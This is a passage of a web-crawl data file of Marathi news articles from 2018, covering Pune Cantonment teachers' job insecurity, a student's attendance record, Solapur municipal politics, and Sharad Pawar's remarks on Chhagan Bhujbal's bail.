मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Cantonment-teachers-job/", "date_download": "2018-09-25T16:52:51Z", "digest": "sha1:SLNCPKDNBCSRGIAJGZDEY5H7ZKPBXP42", "length": 9817, "nlines": 39, "source_domain": "www.pudhari.news", "title": " कॅन्टोन्मेंटच्या शिक्षकांच्या नोकरीवर टांगती तलवार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › कॅन्टोन्मेंटच्या शिक्षकांच्या नोकरीवर टांगती तलवार\nकॅन्टोन्मेंटच्या शिक्षकांच्या नोकरीवर टांगती तलवार\nदेहूरोड : उमेश ओव्हाळ\nपटसंख्येनुसार शिक्षक संख्या या शैक्षणिक धोरणामुळे सरकारी शाळांमध्ये अतिरिक्त शिक्षक संख्या दरवर्षी वाढत चालली आहे. या धोरणाचा सर्वाधिक फटका कॅन्टोन्मेंट बोर्डाच्या शाळांमधील शिक्षाकांना बसला आहे. सुरवातीच्या काळात अतिरिक्त शिक्षकांची अवघी सात असलेली संख्या आता 20 वर पोहचली आहे. येत्या काळात हि संख्या वाढण्याची शक्यता असून विविध कारणांमुळे शिक्षकांच्या नोकरीवर टाच येण्याची शक्यताही निर्माण झाली आहे.\nदेहूरोड कॅन्टोन्मेंट बोर्डाने पुण्याच्या अभियांत्रिकी महाविद्यामार्फत नुकताच शहरातील सरकारी इमारतींचे स्ट्रक्‍चर ऑडीट करून घेतले. यामध्ये कॅन्टोन्मेंट कार्यालय परिसर, कामगार निवासी इमारत, एलआयजी मार्केट, एलआयजी क्वॉर्टर्स, स्वच्छतागृहे, मामुर्डी, किन्हई, बाजारपेठ येथील शाळा इमारती, सार्वजनिक स्वच्छतागृहे, मासे-मटण मार्केट, रुग्णालय आदी इमारतींना समावेत्र आहे. यापैकी अनेक वास्तु धोदायकपणामुळे काढून टाकल्या आहेत. शेलारवाडी येथील शाळा एम.बी. कॅम्प येथील महात्मा गांधा विद्यालयाच्या इमारतीत स्थलांतरीत करण्यात आली आहे. किन्हई येथील शाळाही लवकरच हलविण्यात येणार आहे. शाळा एकत्रीकरणामुळे अतिरिक्त शिक्षक संख्या वाढण्याचा धोका आहे.\nदुसरी महत्वाची बाब म्हणजे बोर्डाने सुरू केलेल्या इंग्रजी माध्यमाचे वर्ग आता सातव्या इयत्तेपर्यंत पोहचली आहेत. शहरातील इतर खासगी शाळांमध्ये सातवीच्या वर्गात थेट प्रवेशाची सुविधा नसल्यामुळे या विद्यार्थ्यांसाठी बोर्डाला सातवीचा वर्ग सुरू करावा लागणार आहे. साहजिकच त्यासाठी माध्यम शिक्षकांची भरती करावी लागणार आहे. या वर्गातील पटसंख्या पाहता बोर्डाला हि भरती परवडणारी नाही. त्यामुळे मराठी, हिंदी माध्यमाच्या काही शिक्षकांना कमी केले जाऊ शकते.\nबोर्डाकडे वाहनचालकांची भरती अनिवार्य झाले आहे. निर्धारित कर्मचारी संख्येत बदल न करता कॅन्टन्मेंट बोर्डाला हि भरती करावी लागणार आहे. त्यामुळे सहा चालकांसाठी पाच शिक्षकांची पदे कमी करता येतील, अशी सूचना बोर्डाचे मुख्य कार्यकारी अधिकारी अभजीत सानप यांनी नुकत्याच झालेल्या सर्वसाधारण सभेत केली होती. एकंदरीतच कॅन्टोन्मेंट बोर्डाच्या शिक्षकांवर नोकरीची टांगती तलवार कायम आहे. अर्थात या शिक्षकांना बोर्डातच अन्य कामकाज करावे लागण्याची शक्यता आहे. सध्या बोर्डाकडे 11 शाळा असून यातील उर्दू, हिंदी, शेलारवाडी येथील मराठी शाळा यापुर्वीच एकत्रीत करण्यात आल्या आहेत. या सर्व शाळांमध्ये एकूण 1444 विद्यार्थी शिक्षण घेत असून एकूण 72 शिक्षक आहेत. यापैकी अतिरिक्त ठरलेले 20 शिक्षक बोर्डाच्या विविध विभागात काम करीत आहेत. पुढील काही दिवसांत आणखी काही शिक्षकांवर हि वेळ येणार हे निश्‍चित मानले जात आहे.\nदहावीचा शंभर टक्के निकाल तरीही शिक्षकांबद्दल नाराजी\nकाही वर्षांपुर्वी कॅन्टोन्मेंट बोर्डाने दहावीचे वर्ग सुरू केले. त्यात विद्यार्थ्यांची यशोगाथा अव्याहहत सुरू आहे. यावर्षी 21 विद्यार्थ्यांनी परिक्षा दिली व सर्वच चांगल्या गुणांनी यशस्वी झाले. मात्र, तरीही कॅन्टोन्मेंट बोर्डाच्या शिक्षकांबाबत लोकप्रतिनिधींबाबत नाराजी आहे. बोर्डाचे उपाध्यक्ष विशाल खंडेलवाल यांनी ती बोर्डाच्या बैठकीत उघडपणे व्यक्त केली. सदस्य आणि प्रशासनाच्या अनास्थेमुळे गेले अकरा महिने शिक्षण समितीचे पुनर्गठन झाले नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Manpreet-Ahluwalia-school-going-record/", "date_download": "2018-09-25T16:51:46Z", "digest": "sha1:SGVWI57M24KMY4G2EJ23VUTENN72VOUC", "length": 6057, "nlines": 35, "source_domain": "www.pudhari.news", "title": " ‘मज आवडते शाळा भारी’ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › ‘मज आवडते शाळा भारी’\n‘मज आवडते शाळा भारी’\nदापोडी : संगीता पाचंगे\nदापोडीतील गगनगिरी सोसायटीत राहणार्‍या मनप्रीत अहलुवालिया या विद्यार्थिनीने ‘मज आवडते शाळा भारी’ हे विधान खरे करून दाखवले आहे. ऊन असो वा पाऊस एकही सुट्टी न घेता सलग बारा वर्षे शाळेत जाण्याचे रेकॉर्ड मनप्रीत अहलुवालिया या विद्यार्थिनीने केले आहे. याबद्दल खडकीतील सेंट जोसेफ गर्ल्स या इंग्रजी माध्यमातील शाळेत शिकणार्‍या इयत्ता 10 वीतील विद्यार्थिनी मनप्रीत अहलुवालिया हिचे खडकी परिसरात कौतुक होत आहे.\nकाही वर्षांपूर्वी अहलुवालिया कुटुंबिय दापोडी येथे स्थायिक झाले. दापोडी येथून मनप्रीतला खडकी येथे शाळेसाठी यावे लागत होते. तरीही मनप्रीत शाळेत कधीच गैरहजर राहिली नाही. वयाच्या 3 वर्षांपासून 14 वर्षापर्यंत 10 वीपर्यंत एकही सुट्टी न घेणारी मनप्रीत ही कदाचित एकमेव विद्यार्थिनी असावी. याबाबत शाळेच्या मुख्याध्यापिकेने अहलुवालिया यांना पत्रही दिले आहे. गुरुवारी इयत्ता दहावीच्या विद्यार्थ्यांचा शेवटचा दिवस होता. शाळेत विद्यार्थी व पालकांनी गर्दी केली होती.\nजो तो मनप्रीतचे अभिनंदन करीत होता. खडकी शहरात ही बातमी वार्‍यासारखी पसरली. अनेकजण मनप्रीतच्या आई-वडीलांचे अभिनंदन करत होते. मनप्रीतला स्वीमिंगमध्ये गोल्ड मेडल मिळाले आहे. तिला आयएएस ऑफीसर बनायचे आहे. यासंदर्भात वडिल चरणजित सिंग व आई जसलिन म्हणाले की, मी आज शाळेत जाणार नाही, असे कधीच मनप्रीत म्हणाली नाही. ती अगदी आजारी पडली तरी रात्री गोळी घेऊन दुसर्‍या दिवशी शाळेत जात असे. दहावीपर्यंत शाळेचा एकही खाडा न केल्याबद्दल खडकी छावणी परिषदेकडून 26 जानेवारीला मनप्रीतचा सत्कार करण्यात आला. तसेच, शाळेकडून आदर्श विद्यार्थी या पुरस्काराने तिला सन्मानित करण्यात आले. तिला शिक्षिका चित्रा खारकर यांनी मार्गदर्शन केले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/Co-operative-organizations-Need-to-change/", "date_download": "2018-09-25T17:16:00Z", "digest": "sha1:X5YNGX7ZEPCXYVDWVW6NV3W4J5SFNPWM", "length": 6753, "nlines": 38, "source_domain": "www.pudhari.news", "title": " सहकारी संस्थांनी बदलणे गरजेचे : सुभाष देशमुख | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › सहकारी संस्थांनी बदलणे गरजेचे : सुभाष देशमुख\nसहकारी संस्थांनी बदलणे गरजेचे : सुभाष देशमुख\nसमाजाच्या गरजा बदलत आहेत. त्यानुसार सहकारी संस्थांनीही बदल करणे आवश्यक आहे. नवीन तंत्रज्ञानाच्या बदलांकडे सकारात्मक दृष्टीकोनातून पाहणे आवश्यक असल्याचे सांगत सहकारमंत्री सुभाषराव देशमुख यांनी पाटण येथील श्रीराम पतसंस्थेच्या कारभाराबाबत समाधान व्यक्त केले.\nकराड अर्बंन बँकेकडून आयोजित सहकार मेळाव्यात सहकारमंत्री सुभाष देशमुख यांच्या हस्ते पाटणमधील श्रीराम नागरी पतसंस्थेचा गौरव करण्यात आला. संस्थेचे अध्यक्ष विलासराव क्षीरसागर व उपाध्यक्ष हिंदुराव सुतार यांनी हा पुरस्कार स्वीकारला. यावेळी ना. शेखर चरेगावकर होते. सहकार भारतीचे संरक्षक सतीश मराठे, दिलीप पतंगे, जिल्हा निबंधक डॉ. महेश कदम, उपनिबंधक डॉ. महेंद्रकुमार चव्हाण, अर्बन कुटुंब प्रमुख सुभाषराव जोशी यांची प्रमुख उपस्थिती होती.\nसतीश मराठे व ना.शेखर चरेगांवकर यांनी सहकारी संस्था पुढील कोणकोणती आव्हाने आहेत याबाबतचा उहापोह केला. त्यामध्ये मुख्यत: सहकारी चळवळीला प्रतिष्ठा प्र्राप्त करून देणे आवश्यक असल्याचे सांगत आज बाजारपेठेत मोठी स्पर्धा आहे. त्या स्पर्धेत टिकणे आवश्यक आहे. नवीन तंत्रज्ञानाचा अबलंब आवश्यक असून व कायद्यातील बदलाकडे सकारात्मक दृष्टीने पहावे, असे आवाहनही योवळी करण्यात आले.\nसहकारमंत्री सुभाषराव देशमुख यांनी मेळाव्यास उपस्थितीत असणार्‍या अध्यक्ष, उपाध्यक्ष, संचालक, सचिव यांच्याकडून सहकारी संस्थांच्या कामकाजाबाबत अडचणी कोणत्या आहेत हे जाणून घेत त्या दूर करण्याबाबत काय करता येईल हे जाणून घेत त्या दूर करण्याबाबत काय करता येईल याबाबत सूचना कराव्यात असे आवाहन केले. सहकारी पतसंस्था ग्रामीण भागात काम करतात. त्यावेळी अनेक अडचणी येतात. त्यासाठी पतसंस्थांना एनपीए नॉर्मस सहा महिन्याऐवजी कायम स्वरूपी नऊ महिने असावा, अशी सूचना विलासराव क्षीरसागर यांनी मांडली. . त्याबाबत सहकारमंत्री म्हणून काय करता येईल याबाबत सूचना कराव्यात असे आवाहन केले. सहकारी पतसंस्था ग्रामीण भागात काम करतात. त्यावेळी अनेक अडचणी येतात. त्यासाठी पतसंस्थांना एनपीए नॉर्मस सहा महिन्याऐवजी कायम स्वरूपी नऊ महिने असावा, अशी सूचना विलासराव क्षीरसागर यांनी मांडली. . त्याबाबत सहकारमंत्री म्हणून काय करता येईल हे पाहू असे सांगत कायद्यात बदल करताना या सूचनांचा विचार केला जाईल, असे नमूद केले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/when-chhagan-bhujbal-free-from-That-Will-Be-Happiest-Day-say-Sharad-Pawar/", "date_download": "2018-09-25T16:57:05Z", "digest": "sha1:3KFFZ6BVJ5AMPEEJYK6IDIE3KM3FIHED", "length": 4541, "nlines": 39, "source_domain": "www.pudhari.news", "title": " छगन भुजबळांच्या जामीनावर शरद पवार प्रथम बोलले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › छगन भुजबळांच्या जामीनावर शरद पवार प्रथम बोलले\nभुजबळांच्या जामीनावर शरद पवार प्रथमच बोलले\nराष्ट्रवादी काँग्रेसचे अध्यक्ष शरद पवार यांनी सातार्याततील दौर्यानत जोरदार बॅटिंग केली. राजकीय पटलावरील अनेक मुद्यांना ते सडेतोडपणे सामोरे गेले. पत्रकार परिषदेत छगन भुजबळाच्या अनुषंगाने त्यांना बोलते करण्यात आले.\nवाचा : लातूर विधानपरिषद : कराडांच्या माघारावर पवारांचा गौप्यस्फोट\nछगन भुजबळ यांच्या जामीनाबाबत विचारले असता पवार म्हणाले, त्यांना जामीन मिळाल्याचा आनंद आहे. मात्र ही न्यायालयीन बाब आहे. अजून निकाल लागलेला नाही. मूळ केस जागेवरच आहे. या केसमधून ते बाहेर पडतील त्यावेळी आम्हाला हर्षवायू, अत्यानंद होईल.\nवाचा: निवडणुकीपर्यंत सगळ्यांची कॉलर खाली येईल : शरद पवार\nमहाराष्ट्र सदन घोटाळ्याप्रकरणी भुजबळांना दोन वर्षांपूर्वी अटक केली होती. त्यानंतर त्यांच्या प्रकृतीत बिघाड झाल्यामुळे रुग्णालयात दाखल करण्यात आले होते. गेल्या आठवड्यात मुंबई उच्च न्यायालयाने त्यांना जामीन मंजूर केला होता.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/Municipal-Corporations-doll-become-office-bearer/", "date_download": "2018-09-25T17:46:06Z", "digest": "sha1:6FHCEBSN7364Z735RJO4C37RQRTOBDFZ", "length": 10274, "nlines": 39, "source_domain": "www.pudhari.news", "title": " मनपा प्रशासनाच्या चालीने पदाधिकारी बनले ‘बाहुले’ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › मनपा प्रशासनाच्या चालीने पदाधिकारी बनले ‘बाहुले’\nमनपा प्रशासनाच्या चालीने पदाधिकारी बनले ‘बाहुले’\nसोलापूर : वेणुगोपाळ गाडी\nमहापालिकेतील प्रशासनाच्या मनमानी कारभाराचे अनेक नमुने पहावयास मिळत आहेत. मनपाच्या कारभारावर आपलेच वर्चस्व राहावे, असा खटाटोप प्रशासनाचा असल्याचे यातून स्पष्टपणे जाणवत आहे. प्रशासनाच्या या सोयीच्या चालीमुळे मनपाचे पदाधिकारी हे चक्क प्रशासनाच्या हातातील बाहुले बनल्याचे चित्र दिसत आहे, तर दुसरीकडे प्रशासनाच्या मनमानीला कंटाळलेल्या विरोधकांना चक्क न्यायालयात जायची वेळ आली आहे.\nसव्वा वर्षांपूर्वी महापालिकेत सत्तांतर झाले. सुमारे 50 वर्षे सत्तेवर असलेल्या काँग्रेसला पराभूत करून भाजप सत्तारुढ झाला. सत्तांतर झाल्यामुळे तसेच ‘गल्ली ते दिल्ली’ भाजपची सत्ता आल्याने शहराचा भरीव विकास चांगल्या गतीने होईल, अशी आशा भोळीभाबडी असलेल्या सोलापूरकरांची होती, मात्र भाजपअंतर्गत पालकमंत्री-सहकारमंत्री या दोन गटांच्या वादाचा तमाशा पाहण्याची दुर्दैवी वेळ शहरवासीयांवर आली. निधीअभावी तसेच मक्तेदार काम घेण्यास राजी नसल्याने विकासकामे झाली नसल्याचे सत्ताधारी पहिल्या वर्षीच्या परीक्षेत ‘नापास’ ठरले आहेत.\nसत्ताधारी गटांतटांमधील वादामुळे तसेच विरोधकांच्या निष्क्रियतेमुळे वर्षभरापासून प्रशासनावर कोणाचा अंकुश राहिला नाही. त्यामुळे प्रशासनाचे चांगलेच फावत आहे. अलीकडे सत्ताधार्‍यांमधील अंतर्गत वाद कमी होत असल्याच्या पार्श्‍वभूमीवर विरोधक एकत्र आल्याचे दिसून येत आहे. स्थायी समिती सभापतीपदाच्या निवडणुकीवेळी हे जाणवले. ही निवडणूक वादग्रस्त ठरली अन् वाद न्यायालयात गेला. दरम्यान, प्रशासन या वादाचे कारण देत स्थायी समितीकडे पाठवायचे विषय थेट सर्वसाधारण सभेकडे पाठविण्याचे काम करीत आहे. हे कायदेशीर की बेकायदेशीर यावरून सध्या खल होत आहे. समितीची विशेष सभा तसेच हंगामी सभापती निवडीची मागणी सदस्यांकडून झाली. याबाबत त्यांनी प्रशासनाला पत्रही दिले, मात्र प्रशासनाने याबाबत आपल्या सोयीची चाल खेळली आहे. या पत्रावर नियम दाखवून देणे प्रशासनाचे काम होते, मात्र प्रशासनाने सदस्यांच्या पत्राबाबत विधी सल्लागारांचा अभिप्राय मागविण्याचा निर्णय घेऊन एकप्रकारे जाणीवपूर्वक वेळकाढूपणा तसेच सदस्यांची दिशाभूल करण्याचा प्रयत्न केला, हे स्पष्टपणे जाणवत आहे.\nनिवडून आलेल्या नगरसेवकांपैकी बहुतांश नगरसेवक हे नवखे असल्याने त्यांना नियमांची माहिती नाही व जे अनुभवी वा ज्येष्ठ नगरसेवक आहेत, ते याबाबत मूग गिळून गप्प आहेत. कारभारावर आपलेच वर्चस्व असावे या उद्देशाने प्रशासन वेगळीच चाल खेळत आहे, असे बोलले जात आहे. तसेच दुसरीकडे एका मंत्र्यांच्या सांगण्यानुसार प्रशासन काम करीत आहे, असा आरोपही केला जात आहे. प्रशासनाच्या मनमानीमुळे मनपाचे पदाधिकारी हे प्रशासनाच्या हातातील बाहुले बनले आहेत.\nएकंदर प्रशासन निरंकुश बनले आहे. हंगामी सभापती निवडीबाबत स्थायी सदस्यांनी महापौरांना पत्र देणे अपेक्षित आहे, असे उत्तर मनपा सभेत एका प्रश्‍नाच्या उत्तरादाखल प्रशासनाकडून देण्यात आले. यावरुन विरोधी पक्ष शिवसेनेने ‘मग हे आधीच का सांगितले नाही’, असे म्हणत प्रशासनाच्या चुकीच्या कारभाराचे वाभाडे काढले. एवढेच नव्हे न्यायालयात जाण्याचा इशाराही शिवसेनेने दिला आहे. जर शिवसेना न्यायालयात गेली तर प्रशासनाच्या मनमानी कारभाराला न्यायालयाकडून चाप बसणार का, याविषयी उत्सुकता आहेच, शिवाय आगामी काळात सत्ताधारी-विरोधक या दोहोंनी प्रशासनाच्या मनमानीला लगाम न घातल्यास मनपावर भाजपचे नव्हे तर प्रशासनाचे ‘राज्य’ आहे, असे खेदाने म्हणण्याची नामुष्की येईल.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/entertainment/bollywood-actor-akshay-kumar-again-working-in-marathi-movie-292576.html", "date_download": "2018-09-25T16:49:04Z", "digest": "sha1:RLJCQXYIISIW3DWFDGCILQXZILLVN7PE", "length": 1980, "nlines": 25, "source_domain": "lokmat.news18.com", "title": "Lokmat News - खिलाडी अक्षय कुमार पुन्हा एकदा 'या' मराठी सिनेमात !–News18 Lokmat", "raw_content": "\nखिलाडी अक्षय कुमार पुन्हा एकदा 'या' मराठी सिनेमात \n2013ला '72 मैल एक प्रवास' या मराठी सिनेमाची निर्मीती अक्षय कुमारनेच केली होती. या सिनेमाला आता 5 वर्ष झाले आहेत.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/mumbai/doctors-on-strike-in-jj-hospital-290483.html", "date_download": "2018-09-25T16:48:22Z", "digest": "sha1:7WXO3GZNP7CYTQNX3B54N32QN2NWOAGE", "length": 2153, "nlines": 25, "source_domain": "lokmat.news18.com", "title": "Lokmat News - जेजे हॉस्पिटलमधल्या डॉक्टरांचा संप तिसऱ्या दिवशीही सुरूच–News18 Lokmat", "raw_content": "\nजेजे हॉस्पिटलमधल्या डॉक्टरांचा संप तिसऱ्या दिवशीही सुरूच\nजेजे रुग्णालयातील निवासी डॉक्टरांचा संप आज तिसऱ्या दिवशी देखील कायम आहे. जेजेमध्ये रूग्णसेवेवर परिणाम होऊ नये यासाठी ओपीडी मात्र सुरू केली जाणार आहे.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/the-judiciary-will-have-to-be-neutral-say-justice-chellameshwar-287234.html", "date_download": "2018-09-25T17:15:31Z", "digest": "sha1:CVX4XRPJQ7PO47SAWIGOJAZWKHYOXXZE", "length": 14007, "nlines": 129, "source_domain": "lokmat.news18.com", "title": "न्यायव्यवस्था निष्पक्षच हवी,नाहीतर पुढची पिढी माफ करणार नाही-न्यायमूर्ती चेलामेश्वर", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nन्यायव्यवस्था निष्पक्षच हवी,नाहीतर पुढची पिढी माफ करणार नाही-न्यायमूर्ती चेलामेश्वर\nसध्याच्या पिढीतील वकील हे पैसे कमवण्याच्या 